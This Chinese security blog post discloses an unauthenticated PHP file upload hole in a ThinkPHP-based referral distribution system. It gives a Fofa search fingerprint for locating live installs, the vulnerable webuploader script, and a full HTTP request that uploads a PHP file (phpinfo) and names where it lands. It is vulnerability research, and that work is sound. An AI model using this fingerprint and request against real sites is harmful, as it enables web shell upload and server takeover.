文章总结: 文档披露某自适应任务拉新分销系统在public/static/lib/webuploader/0.1.5/server/fileupload.php中存在高危文件上传漏洞,攻击者可通过控制$_REQUEST[‘name’]参数直接上传恶意PHP文件,无需认证或扩展名校验。漏洞复现成功并附有详细Payload,作者强调使用AI工具自动化挖掘,建议开发者加强文件上传校验机制。 综合评分: 81 文章分类: 漏洞分析,代码审计,WEB安全,渗透测试,安全工具
某自适应任务拉新分销系统存在文件上传漏洞
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XingYue404 XingYue404
星悦安全
2026年6月8日 15:23 浙江
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Fofa指纹 : “/static/home/login/reset.css”
框架:ThinkPHP
0x01 漏洞分析&复现
位于 public/static/lib/webuploader/0.1.5/server/fileupload.php 中,上传文件可由$_REQUEST["name"]控制,且未发现认证、CSRF 校验、扩展名白名单或 MIME 校验
<?php/** * upload.php * * Copyright 2013, Moxiecode Systems AB * Released under GPL License. * * License: http://www.plupload.com/license * Contributing: http://www.plupload.com/contributing */
#!! 注意#!! 此文件只是个示例,不要用于真正的产品之中。#!! 不保证代码安全性。
#!! IMPORTANT:#!! this file is just an example, it doesn't incorporate any security checks and#!! is not recommended to be used in production environment as it is. Be sure to#!! revise it and customize to your needs.
// Make sure file is not cached (as it happens for example on iOS devices)header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");header("Cache-Control: no-store, no-cache, must-revalidate");header("Cache-Control: post-check=0, pre-check=0", false);header("Pragma: no-cache");
// Support CORS// header("Access-Control-Allow-Origin: *");// other CORS headers if any...if ($_SERVER['REQUEST_METHOD'] == 'OPTIONS') { exit; // finish preflight CORS requests here}
if ( !empty($_REQUEST[ 'debug' ]) ) { $random = rand(0, intval($_REQUEST[ 'debug' ]) ); if ( $random === 0 ) { header("HTTP/1.0 500 Internal Server Error"); exit; }}
// header("HTTP/1.0 500 Internal Server Error");// exit;
// 5 minutes execution time@set_time_limit(5 * 60);
// Uncomment this one to fake upload time// usleep(5000);
// Settings// $targetDir = ini_get("upload_tmp_dir") . DIRECTORY_SEPARATOR . "plupload";$targetDir = 'upload_tmp';$uploadDir = 'upload';
$cleanupTargetDir = true; // Remove old files$maxFileAge = 5 * 3600; // Temp file age in seconds
// Create target dirif (!file_exists($targetDir)) { @mkdir($targetDir);}
// Create target dirif (!file_exists($uploadDir)) { @mkdir($uploadDir);}
// Get a file nameif (isset($_REQUEST["name"])) { $fileName = $_REQUEST["name"];} elseif (!empty($_FILES)) { $fileName = $_FILES["file"]["name"];} else { $fileName = uniqid("file_");}
$filePath = $targetDir . DIRECTORY_SEPARATOR . $fileName;$uploadPath = $uploadDir . DIRECTORY_SEPARATOR . $fileName;
// Chunking might be enabled$chunk = isset($_REQUEST["chunk"]) ? intval($_REQUEST["chunk"]) : 0;$chunks = isset($_REQUEST["chunks"]) ? intval($_REQUEST["chunks"]) : 1;
// Remove old temp filesif ($cleanupTargetDir) { if (!is_dir($targetDir) || !$dir = opendir($targetDir)) { die('{"jsonrpc" : "2.0", "error" : {"code": 100, "message": "Failed to open temp directory."}, "id" : "id"}'); }
while (($file = readdir($dir)) !== false) { $tmpfilePath = $targetDir . DIRECTORY_SEPARATOR . $file;
// If temp file is current file proceed to the next if ($tmpfilePath == "{$filePath}_{$chunk}.part" || $tmpfilePath == "{$filePath}_{$chunk}.parttmp") { continue; }
// Remove temp file if it is older than the max age and is not the current file if (preg_match('/\.(part|parttmp)$/', $file) && (@filemtime($tmpfilePath) < time() - $maxFileAge)) { @unlink($tmpfilePath); } } closedir($dir);}
// Open temp fileif (!$out = @fopen("{$filePath}_{$chunk}.parttmp", "wb")) { die('{"jsonrpc" : "2.0", "error" : {"code": 102, "message": "Failed to open output stream."}, "id" : "id"}');}
if (!empty($_FILES)) { if ($_FILES["file"]["error"] || !is_uploaded_file($_FILES["file"]["tmp_name"])) { die('{"jsonrpc" : "2.0", "error" : {"code": 103, "message": "Failed to move uploaded file."}, "id" : "id"}'); }
// Read binary input stream and append it to temp file if (!$in = @fopen($_FILES["file"]["tmp_name"], "rb")) { die('{"jsonrpc" : "2.0", "error" : {"code": 101, "message": "Failed to open input stream."}, "id" : "id"}'); }} else { if (!$in = @fopen("php://input", "rb")) { die('{"jsonrpc" : "2.0", "error" : {"code": 101, "message": "Failed to open input stream."}, "id" : "id"}'); }}
while ($buff = fread($in, 4096)) { fwrite($out, $buff);}
@fclose($out);@fclose($in);
rename("{$filePath}_{$chunk}.parttmp", "{$filePath}_{$chunk}.part");
$index = 0;$done = true;for( $index = 0; $index < $chunks; $index++ ) { if ( !file_exists("{$filePath}_{$index}.part") ) { $done = false; break; }}if ( $done ) { if (!$out = @fopen($uploadPath, "wb")) { die('{"jsonrpc" : "2.0", "error" : {"code": 102, "message": "Failed to open output stream."}, "id" : "id"}'); }
if ( flock($out, LOCK_EX) ) { for( $index = 0; $index < $chunks; $index++ ) { if (!$in = @fopen("{$filePath}_{$index}.part", "rb")) { break; }
while ($buff = fread($in, 4096)) { fwrite($out, $buff); }
@fclose($in); @unlink("{$filePath}_{$index}.part"); }
flock($out, LOCK_UN); } @fclose($out);}
// Return Success JSON-RPC responsedie('{"jsonrpc" : "2.0", "result" : null, "id" : "id"}');
Payload:
POST /static/lib/webuploader/0.1.5/server/fileupload.php?name=audit.php&chunk=0&chunks=1 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7Cache-Control: max-age=0Connection: keep-aliveContent-Length: 197Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryd8pwpkIz0eDkBEbcHost: 192.168.140.128Origin: http://192.168.140.128Referer: http://192.168.140.128/static/lib/webuploader/0.1.5/server/fileupload.php?name=audit.php&chunk=0&chunks=1Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36
------WebKitFormBoundarytWIvtdAsZeAHIKQNContent-Disposition: form-data; name="file"; filename="1.php"Content-Type: image/jpeg
<?php phpinfo();?>------WebKitFormBoundarytWIvtdAsZeAHIKQN--
文件上传在
/static/lib/webuploader/0.1.5/server/upload/audit.php
0x04 漏洞挖掘
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